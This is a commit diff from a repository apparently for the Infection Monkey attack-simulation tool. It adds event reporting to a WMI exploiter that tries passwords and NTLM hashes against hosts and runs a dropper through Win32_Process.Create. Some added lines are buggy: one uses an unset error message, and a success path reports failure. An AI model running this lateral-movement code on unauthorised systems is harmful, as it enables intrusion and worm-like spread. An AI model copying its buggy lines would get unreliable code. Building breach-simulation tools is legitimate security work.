p15670423
/
monkey
1
0
Fork 5
Code Issues Pull Requests 3 Projects Releases Wiki Activity

Agent: Publish events from WMI

This commit is contained in:
Ilija Lazoroski 2022-10-07 13:55:49 +02:00
parent 4709ae771b
commit ed191bcf61
1 changed files with 22 additions and 15 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

37
monkey/infection_monkey/exploit/wmiexec.py
View File

@ -2,6 +2,7 @@ import logging
import ntpath import ntpath
import socket import socket
import traceback import traceback
from time import time
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
@ -44,6 +45,7 @@ class WmiExploiter(HostExploiter):
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()
timestamp = time()
try: try:
wmi_connection.connect( wmi_connection.connect(
self.host, self.host,
@ -55,26 +57,34 @@ class WmiExploiter(HostExploiter):
) )
except AccessDeniedException: except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
logger.debug(f"Failed connecting to {self.host} using WMI") error_message = f"Failed connecting to {self.host} using WMI"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
continue continue
except DCERPCException: except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
logger.debug(f"Failed connecting to {self.host} using WMI") logger.debug(f"Failed connecting to {self.host} using WMI")
self._publish_exploitation_event(timestamp, False, error_message=error_message)
continue continue
except socket.error: except socket.error:
logger.debug(f"Network error in WMI connection to {self.host}") error_message = f"Network error in WMI connection to {self.host}"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return self.exploit_result return self.exploit_result
except Exception as exc: except Exception as exc:
logger.debug( error_message = (
f"Unknown WMI connection error to {self.host}: " f"Unknown WMI connection error to {self.host}: "
f"{exc} {traceback.format_exc()}" f"{exc} {traceback.format_exc()}"
) )
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return self.exploit_result return self.exploit_result
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, False, error_message=error_message)
downloaded_agent = self.agent_binary_repository.get_agent_binary(self.host.os["type"]) downloaded_agent = self.agent_binary_repository.get_agent_binary(self.host.os["type"])
@ -113,33 +123,30 @@ class WmiExploiter(HostExploiter):
} + build_monkey_commandline(self.servers, self.current_depth + 1) } + build_monkey_commandline(self.servers, self.current_depth + 1)
# execute the remote monkey # execute the remote monkey
propagation_timestamp = time()
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(
cmdline, ntpath.split(remote_full_path)[0], None cmdline, ntpath.split(remote_full_path)[0], None
) )
if (0 != result.ProcessId) and (not result.ReturnValue): if (0 != result.ProcessId) and (not result.ReturnValue):
logger.info( logger.info(
"Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)", f"Executed dropper '{remote_full_path}' on remote victim {self.host} "
remote_full_path, f"(pid={result.ProcessId}, cmdline={cmdline})"
self.host,
result.ProcessId,
cmdline,
) )
self.add_vuln_port(port="unknown") self.add_vuln_port(port="unknown")
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
self._publish_propagation_event(propagation_timestamp, True)
else: else:
error_message = ( error_message = (
"Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, " f"Error executing dropper '{remote_full_path}' on remote victim {self.host} "
"cmdline=%r)", f"(pid={result.ProcessId}, exit_code={result.ReturnValue}, cmdline={cmdline})"
remote_full_path,
self.host,
result.ProcessId,
result.ReturnValue,
cmdline,
) )
logger.debug(error_message) logger.debug(error_message)
self.exploit_result.error_message = error_message self.exploit_result.error_message = error_message
self._publish_propagation_event(
propagation_timestamp, False, error_message=error_message
)
result.RemRelease() result.RemRelease()
wmi_connection.close() wmi_connection.close()